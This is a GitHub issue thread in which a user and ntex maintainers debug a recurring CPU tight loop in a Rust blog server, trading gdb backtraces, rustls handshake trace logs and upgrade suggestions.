fafhrd91
commented
1 year ago could you attach gdb and check where is tight loop?
Closed clia closed 6 months ago
fafhrd91
commented
1 year ago could you attach gdb and check where is tight loop?
fafhrd91
commented
1 year ago there is not enough info to check this issue
clia
commented
1 year ago I have attached the server process to gdb, and waiting it to run into this state again. This has happened several times before.
fafhrd91
commented
1 year ago you can attach gdb to existing process
clia
commented
1 year ago (gdb) bt
#0 0x00007f974c50afde in epoll_wait (epfd=3, events=0x55c5b059b0d0, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x000055c5ae964fde in mio::poll::Poll::poll ()
#2 0x000055c5ae95a4da in _ZN5tokio7runtime2io6Driver4turn17hda04916d719334d0E.llvm.2355893212406860231 ()
#3 0x000055c5ae93c5fc in _ZN5tokio4time6driver15Driver$LT$P$GT$13park_internal17h633ae5f685def217E.llvm.10539398166608150186 ()
#4 0x000055c5ae947c4d in <tokio::park::either::Either<A,B> as tokio::park::Park>::park ()
#5 0x000055c5ae94c66f in tokio::runtime::scheduler::current_thread::Context::park ()
#6 0x000055c5ae5aea97 in tokio::macros::scoped_tls::ScopedKey<T>::set ()
#7 0x000055c5ae579674 in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#8 0x000055c5ae5aec6c in tokio::runtime::Runtime::block_on ()
#9 0x000055c5ae59fc74 in blog_server::main ()
#10 0x000055c5ae57b853 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#11 0x000055c5ae599a2d in std::rt::lang_start::{{closure}} ()
#12 0x000055c5ae983d7e in core::ops::function::impls::{impl#2}::call_once<(), (dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/ops/function.rs:280
#13 std::panicking::try::do_call<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> ()
at library/std/src/panicking.rs:492
#14 std::panicking::try<i32, &(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/std/src/panicking.rs:456
#15 std::panic::catch_unwind<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panic.rs:137
#16 std::rt::lang_start_internal::{closure#2} () at library/std/src/rt.rs:128
#17 std::panicking::try::do_call<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panicking.rs:492
#18 std::panicking::try<isize, std::rt::lang_start_internal::{closure_env#2}> () at library/std/src/panicking.rs:456
#19 std::panic::catch_unwind<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panic.rs:137
#20 std::rt::lang_start_internal () at library/std/src/rt.rs:128
#21 0x000055c5ae59ff52 in main ()(gdb) bt
#0 0x00007f974c50afde in epoll_wait (epfd=3, events=0x55c5b059b0d0, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x000055c5ae964fde in mio::poll::Poll::poll ()
#2 0x000055c5ae95a4da in _ZN5tokio7runtime2io6Driver4turn17hda04916d719334d0E.llvm.2355893212406860231 ()
#3 0x000055c5ae93c5fc in _ZN5tokio4time6driver15Driver$LT$P$GT$13park_internal17h633ae5f685def217E.llvm.10539398166608150186 ()
#4 0x000055c5ae947c4d in <tokio::park::either::Either<A,B> as tokio::park::Park>::park ()
#5 0x000055c5ae94c66f in tokio::runtime::scheduler::current_thread::Context::park ()
#6 0x000055c5ae5aea97 in tokio::macros::scoped_tls::ScopedKey<T>::set ()
#7 0x000055c5ae579674 in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#8 0x000055c5ae5aec6c in tokio::runtime::Runtime::block_on ()
#9 0x000055c5ae59fc74 in blog_server::main ()
#10 0x000055c5ae57b853 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#11 0x000055c5ae599a2d in std::rt::lang_start::{{closure}} ()
#12 0x000055c5ae983d7e in core::ops::function::impls::{impl#2}::call_once<(), (dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/ops/function.rs:280
#13 std::panicking::try::do_call<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> ()
at library/std/src/panicking.rs:492
#14 std::panicking::try<i32, &(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/std/src/panicking.rs:456
#15 std::panic::catch_unwind<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panic.rs:137
#16 std::rt::lang_start_internal::{closure#2} () at library/std/src/rt.rs:128
#17 std::panicking::try::do_call<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panicking.rs:492
#18 std::panicking::try<isize, std::rt::lang_start_internal::{closure_env#2}> () at library/std/src/panicking.rs:456
#19 std::panic::catch_unwind<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panic.rs:137
#20 std::rt::lang_start_internal () at library/std/src/rt.rs:128
#21 0x000055c5ae59ff52 in main ()The source code is at: https://github.com/clia/blog-server/blob/main/src/main.rs
clia
commented
1 year ago When I attached gdb to the process, the CPU consumption dropped.
clia
commented
1 year ago The cause event logs are:
2023-03-22T10:59:39.896459Z TRACE ntex_io::ioref: force close io stream object
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/ioref.rs:62 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.291682Z TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:167 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.291866Z TRACE polling::epoll: modify: epoll_fd=12, fd=13, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:99 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.291967Z TRACE ntex::server::accept: Accepting connection: Tcp(TcpStream { addr: 64.176.37.168:443, peer: 199.30.231.5:54547, fd: 9 }) bp: false
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.5.27/src/server/accept.rs:376 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292088Z TRACE ntex::server::accept: Sent to worker 0
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.5.27/src/server/accept.rs:411 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292125Z TRACE polling::epoll: modify: epoll_fd=12, fd=16, ev=Event { key: 1, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:99 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292136Z TRACE polling: Poller::wait(_, None)
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/lib.rs:392 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292139Z TRACE polling::epoll: wait: epoll_fd=12, timeout=None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:111 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292151Z TRACE polling::epoll: modify: epoll_fd=12, fd=14, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:99 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292506Z TRACE ntex::server::worker: Got socket for service: "ntex-web-rustls-service-0.0.0.0:443"
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.5.27/src/server/worker.rs:475 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.292617Z TRACE mio::poll: registering event source with poller: token=Token(838860816), interests=READABLE | WRITABLE
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/mio-0.8.4/src/poll.rs:521 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293362Z TRACE rustls::server::hs: we got a clienthello ClientHelloPayload { client_version: TLSv1_2, random: becc9505728899a23df7bbab93db6dccd236833e4206a57b3f9688a6cd4eff74, session_id: , cipher_suites: [TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA], compression_methods: [Null], extensions: [ServerName([ServerName { typ: HostName, payload: HostName((7777772e6261696c6f672e636e, DnsName("www.bailog.cn"))) }]), CertificateStatusRequest(OCSP(OCSPCertificateStatusRequest { responder_ids: [], extensions: })), NamedGroups([secp256r1, secp384r1, secp521r1]), ECPointFormats([Uncompressed]), SignatureAlgorithms([RSA_PKCS1_SHA512, ECDSA_NISTP521_SHA512, Unknown(1538), RSA_PKCS1_SHA384, ECDSA_NISTP384_SHA384, Unknown(1282), RSA_PKCS1_SHA256, ECDSA_NISTP256_SHA256, Unknown(1026), Unknown(769), Unknown(771), Unknown(770), RSA_PKCS1_SHA1, ECDSA_SHA1_Legacy, Unknown(514), Unknown(257), Unknown(259), Unknown(258)]), Unknown(UnknownExtension { typ: RenegotiationInfo, payload: 00 }), Unknown(UnknownExtension { typ: Heartbeat, payload: 01 }), SignedCertificateTimestampRequest] }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/hs.rs:441 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293553Z TRACE rustls::server::server_conn: sni Some(DnsName("www.bailog.cn"))
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/server_conn.rs:126 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293561Z TRACE rustls::server::server_conn: sig schemes [RSA_PKCS1_SHA512, ECDSA_NISTP521_SHA512, Unknown(1538), RSA_PKCS1_SHA384, ECDSA_NISTP384_SHA384, Unknown(1282), RSA_PKCS1_SHA256, ECDSA_NISTP256_SHA256, Unknown(1026), Unknown(769), Unknown(771), Unknown(770), RSA_PKCS1_SHA1, ECDSA_SHA1_Legacy, Unknown(514), Unknown(257), Unknown(259), Unknown(258)]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/server_conn.rs:127 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293564Z TRACE rustls::server::server_conn: alpn protocols None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/server_conn.rs:128 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293567Z TRACE rustls::server::server_conn: cipher suites [TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/server_conn.rs:129 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293595Z DEBUG rustls::server::hs: decided upon suite TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/hs.rs:361 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293653Z TRACE rustls::server::tls12::client_hello: namedgroups [secp256r1, secp384r1, secp521r1]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/tls12.rs:79 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293656Z TRACE rustls::server::tls12::client_hello: ecpoints [Uncompressed]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/tls12.rs:80 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293700Z TRACE rustls::server::tls12::client_hello: sending server hello Message { version: TLSv1_2, payload: Handshake { parsed: HandshakeMessagePayload { typ: ServerHello, payload: ServerHello(ServerHelloPayload { legacy_version: TLSv1_2, random: 8786d369cb032d5c937615e56b25a639d9071256ae1c1dcb444f574e47524401, session_id: 5d2330f0caf6277d46ccd806eefef5d798a5777ecc5a006ebb3dfd6f02140f81, cipher_suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, compression_method: Null, extensions: [ServerNameAck, RenegotiationInfo()] }) }, encoded: 0200005103038786d369cb032d5c937615e56b25a639d9071256ae1c1dcb444f574e47524401205d2330f0caf6277d46ccd806eefef5d798a5777ecc5a006ebb3dfd6f02140f81c02f00000900000000ff01000100 } }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/tls12.rs:348 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.294894Z TRACE ntex_io::tasks: new 1 bytes available, wakeup dispatcher
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/tasks.rs:57 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.294911Z TRACE ntex_io::io: waking up io read task
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/io.rs:545 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.295005Z TRACE ntex_tokio::io: flushed 4451 bytes
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-tokio-0.1.3/src/io.rs:347 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.392896Z TRACE ntex_io::tasks: new 1 bytes available, wakeup dispatcher
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/tasks.rs:57 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.392990Z TRACE ntex_io::io: waking up io read task
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/io.rs:545 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:18:52.943114Z TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:167 on ntex-server accept loop ThreadId(4)i cannot say where is the bug. could you get backtrace for all threads in gdb.
clia
commented
1 year ago ''' Thread 5 (Thread 0x7f974b93d640 (LWP 158448) "futures-timer"):
Thread 4 (Thread 0x7f974bb3e640 (LWP 158436) "ntex-server acc"):
Thread 3 (Thread 0x7f974bd3f640 (LWP 158435) "ntex-rt:worker:"):
Thread 2 (Thread 0x7f974bff6640 (LWP 158434) "blog-server"):
Thread 1 (Thread 0x7f974c3e0b80 (LWP 158432) "blog-server"):
'''
fafhrd91
commented
1 year ago might be bug in rustls integration. could you upgrade to ntex-0.6
clia
commented
1 year ago I upgraded to ntex-0.6, waited a week and it didn't happen again.
clia
commented
1 year ago @fafhrd91 Btw, the TechEmpower benchmark, ntex-db and ntex-db-astd has problem on running. Will you have a look at it?
clia
commented
1 year ago It appears again after about two weeks, at 2023-04-06 12:29:14, below is the stacktrace:
(gdb) thread apply all bt
Thread 5 (Thread 0x7f3adb476640 (LWP 1160) "futures-timer"):
#0 syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38
#1 0x00005596425bcb44 in std::sys::unix::futex::futex_wait () at library/std/src/sys/unix/futex.rs:62
#2 std::sys_common::thread_parking::futex::Parker::park () at library/std/src/sys_common/thread_parking/futex.rs:52
#3 std::thread::park () at library/std/src/thread/mod.rs:1007
#4 0x00005596425a12d6 in futures_timer::native::global::run ()
#5 0x00005596425a2142 in _ZN3std10sys_common9backtrace28__rust_begin_short_backtrace17h73bf98eabb61db2bE.llvm.7925374425771010588 ()
#6 0x00005596425a2a20 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#7 0x00005596425cc073 in alloc::boxed::{impl#45}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#8 alloc::boxed::{impl#45}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#9 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#10 0x00007f3adbfb4b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#11 0x00007f3adc046a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 4 (Thread 0x7f3adb677640 (LWP 1137) "ntex-server acc"):
#0 0x00007f3adc045fde in epoll_wait (epfd=12, events=0x559643de8b20, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x0000559642451639 in polling::epoll::Poller::wait ()
#2 0x0000559642451def in polling::Poller::wait ()
#3 0x00005596423a241a in ntex::server::accept::Accept::poll ()
#4 0x0000559642393777 in _ZN3std10sys_common9backtrace28__rust_begin_short_backtrace17h8156dd26440019e7E.llvm.6369983156334423651 ()
#5 0x00005596423a8e19 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#6 0x00005596425cc073 in alloc::boxed::{impl#45}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#7 alloc::boxed::{impl#45}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#8 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#9 0x00007f3adbfb4b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#10 0x00007f3adc046a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 3 (Thread 0x7f3adb878640 (LWP 1136) "ntex-rt:worker:"):
#0 0x00005596424c5140 in rustls::msgs::deframer::MessageDeframer::pop ()
#1 0x00005596421e2dd6 in rustls::conn::ConnectionCommon<Data>::complete_io ()
#2 0x00005596421980c9 in ntex_io::buf::Stack::write_buf::{{closure}} ()
#3 0x0000559642197e5e in ntex_io::buf::Stack::write_buf ()
#4 0x000055964216f024 in <ntex_util::time::Timeout<T> as core::future::future::Future>::poll ()
#5 0x00005596421e3f19 in _ZN81_$LT$ntex_tls..rustls..TlsAcceptor$u20$as$u20$ntex_io..FilterFactory$LT$F$GT$$GT$6create28_$u7b$$u7b$closure$u7d$$u7d$17ha53512d8b89a91c7E.llvm.12091099501399050402 ()
#6 0x00005596421ae70b in <ntex_service::and_then::AndThenServiceResponse<A,B,Req> as core::future::future::Future>::poll ()
#7 0x000055964217f398 in <ntex::server::service::StreamService<T> as ntex_service::Service<(core::option::Option<ntex::server::counter::CounterGuard>,ntex::server::service::ServerMessage)>>::call::{{closure}} ()
#8 0x000055964218c77b in tokio::loom::std::unsafe_cell::UnsafeCell<T>::with_mut ()
#9 0x00005596421ef8d6 in tokio::runtime::task::core::Core<T,S>::poll ()
#10 0x00005596421bd386 in tokio::runtime::task::harness::Harness<T,S>::poll ()
#11 0x0000559642580208 in tokio::task::local::LocalSet::tick ()
#12 0x0000559642557a11 in std::thread::local::LocalKey<T>::with ()
#13 0x000055964255d811 in <core::pin::Pin<P> as core::future::future::Future>::poll ()
#14 0x000055964255ed9e in tokio::runtime::scheduler::current_thread::Context::enter ()
#15 0x0000559642564aff in tokio::macros::scoped_tls::ScopedKey<T>::set ()
#16 0x000055964255ea8f in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#17 0x000055964255b01c in ntex_rt::tokio::block_on ()
#18 0x0000559642567e9c in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#19 0x000055964255cb49 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#20 0x00005596425cc073 in alloc::boxed::{impl#45}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#21 alloc::boxed::{impl#45}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#22 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#23 0x00007f3adbfb4b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#24 0x00007f3adc046a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 2 (Thread 0x7f3adbb31640 (LWP 1135) "tracing-appende"):
#0 syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38
#1 0x00005596425bcb44 in std::sys::unix::futex::futex_wait () at library/std/src/sys/unix/futex.rs:62
#2 std::sys_common::thread_parking::futex::Parker::park () at library/std/src/sys_common/thread_parking/futex.rs:52
#3 std::thread::park () at library/std/src/thread/mod.rs:1007
#4 0x00005596422169f6 in crossbeam_channel::context::Context::wait_until ()
#5 0x0000559642216b52 in crossbeam_channel::context::Context::with::{{closure}} ()
#6 0x00005596422173f5 in crossbeam_channel::flavors::array::Channel<T>::recv ()
#7 0x000055964220b917 in crossbeam_channel::channel::Receiver<T>::recv ()
#8 0x00005596421fe9ff in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#9 0x00005596422182c9 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#10 0x00005596425cc073 in alloc::boxed::{impl#45}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#11 alloc::boxed::{impl#45}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#12 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#13 0x00007f3adbfb4b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#14 0x00007f3adc046a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 1 (Thread 0x7f3adbf1bc40 (LWP 1133) "blog-server"):
#0 0x00007f3adc045fde in epoll_wait (epfd=3, events=0x559643dc70b0, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x000055964259a54a in mio::poll::Poll::poll ()
#2 0x000055964258be8d in _ZN5tokio7runtime2io6Driver4turn17hcb5899971d60167aE.llvm.15018729562679970595 ()
#3 0x0000559642570230 in _ZN5tokio7runtime4time6Driver13park_internal17hadf88da80d26a5e1E.llvm.17727724984771245442 ()
#4 0x000055964257f5e6 in tokio::runtime::scheduler::current_thread::Context::park ()
#5 0x000055964217b33f in tokio::macros::scoped_tls::ScopedKey<T>::set ()
#6 0x00005596421f050f in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#7 0x00005596421ad92a in tokio::runtime::runtime::Runtime::block_on ()
#8 0x00005596421e595f in blog_server::main ()
#9 0x00005596421a7cd3 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#10 0x00005596421aed19 in _ZN3std2rt10lang_start28_$u7b$$u7b$closure$u7d$$u7d$17hdf7435f4c95dc61dE.llvm.12128131917460050004 ()
#11 0x00005596425bc24c in core::ops::function::impls::{impl#2}::call_once<(), (dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/core/src/ops/function.rs:287
#12 std::panicking::try::do_call<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panicking.rs:483
#13 std::panicking::try<i32, &(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/std/src/panicking.rs:447
#14 std::panic::catch_unwind<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panic.rs:140
#15 std::rt::lang_start_internal::{closure#2} () at library/std/src/rt.rs:148
#16 std::panicking::try::do_call<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panicking.rs:483
#17 std::panicking::try<isize, std::rt::lang_start_internal::{closure_env#2}> () at library/std/src/panicking.rs:447
#18 std::panic::catch_unwind<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panic.rs:140
#19 std::rt::lang_start_internal () at library/std/src/rt.rs:148
leon3s
commented
1 year ago Is it happening when handling request ?
Are you sure you don't get ddos or scanned with a tools like nikto for example ?
clia
commented
1 year ago Is it happening when handling request ? Are you sure you don't get ddos or scanned with a tools like
niktofor example ?
I'm not sure. I checked /proc/{pid}/fd/ directory and found it increased slowly, about 300 per day, after this happened.
leon3s
commented
1 year ago Can you log requests when it's happening ? I tried to reproduce it on my server that have kind of similar setup by ddosing it but i wasn't able to reproduce it. The cpu usage was arround 10% there is my code https://github.com/nxthat/nhsf the only difference i see is the TLS can you try with openssl instead of rustls ?
clia
commented
1 year ago These are logs of the last request it output something:
2023-04-06 11:56:47.928 TRACE ntex_io::ioref: force close io stream object
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/ioref.rs:61 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.884 TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:180 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling::epoll: modify: epoll_fd=12, fd=13, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE ntex::server::accept: Accepting connection: Tcp(TcpStream { addr: 64.176.37.168:443, peer: 199.30.231.5:53038, fd: 9 }) bp: false
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/accept.rs:376 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE ntex::server::accept: Sent to worker 0
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/accept.rs:411 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling::epoll: modify: epoll_fd=12, fd=16, ev=Event { key: 1, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling: Poller::wait(_, None)
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/lib.rs:489 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling::epoll: wait: epoll_fd=12, timeout=None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:122 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling::epoll: modify: epoll_fd=12, fd=14, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.885 TRACE ntex::server::worker: Got socket for service: "ntex-web-rustls-service-0.0.0.0:443"
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/worker.rs:488 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.885 TRACE mio::poll: registering event source with poller: token=Token(905969682), interests=READABLE | WRITABLE
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/mio-0.8.6/src/poll.rs:532 on ntex-rt:worker:0 ThreadId(3)
